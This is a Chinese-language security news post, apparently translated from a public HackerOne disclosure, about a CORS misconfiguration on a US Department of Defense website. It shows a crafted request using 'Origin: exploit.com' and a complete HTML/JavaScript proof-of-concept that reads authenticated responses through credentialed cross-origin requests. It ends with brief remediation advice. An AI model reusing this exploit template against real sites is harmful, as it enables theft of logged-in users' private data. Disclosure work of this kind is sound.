美国国防部跨域资源配置错误漏洞

iso60001  1886天前

22.png

近期,白帽汇安全研究院发现hackerone公布了一个美国国防部网站的跨域资源配置错误问题。该漏洞发现者表示,这个漏洞会严重影响其他帐号安全,攻击者可以偷取用户的session,私人信息以及进行其他有害操作。

复现步骤

1) 发送请求

GET /api/jsonws/relo-service-plugin-portlet.content/get-content-by-slug/slug/page-ex-link HTTP/1.1
Host: www.█████
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,*/*;q=0.8
Accept-Language: ru,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Origin: exploit.com
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

在上述请求的回复中,你可以看到如下头部项:

Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: exploit.com

结合以上信息,可以编写如下exploit:

<!DOCTYPE html>
<html>
       <head>
          <sc ript>
             function cors() {
                var xhttp = new xm lHttpRequest();
                    xhttp.on readystatechange = function() {
                    if (this.readyState == 4 && this.status == 200) {
                        document.getElementById("emo").innerHTML = alert(this.responseText);
                }
             };
             xhttp.open("GET", "https://www.███/api/jsonws/relo-service-plugin-portlet.content/get-content-by-slug/slug/page-ex-link", true);
             xhttp.withCredentials = true;
             xhttp.send();
             }
          </sc ript>
       </head>
       <body>
          <center>
          <h2>CORS PoC Exploit </h2>
          <h3>created by <a href="https://twitter.com/Jarvis7717">@Jarvis</a></h3>
          <h3>Show full content of page</h3>
          <di v id="demo">
             <button type="button" on click="cors()">Exploit</button>
          </di v>
       </body>
</html>

一旦受害者进入了攻击者精心设计的恶意网站,如果受害者已登录了国防部网站,那么他的个人信息都会被发送到攻击者的服务器中。攻击者还可借此进一步绕过CSRF的令牌,对受害者帐户执行任何操作。为了防御这种漏洞,最好设置信任域的白名单。

最后,美国国防部也对其进行了感谢。

33.png

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://hackerone.com/reports/470298

最新评论

昵称
邮箱
提交评论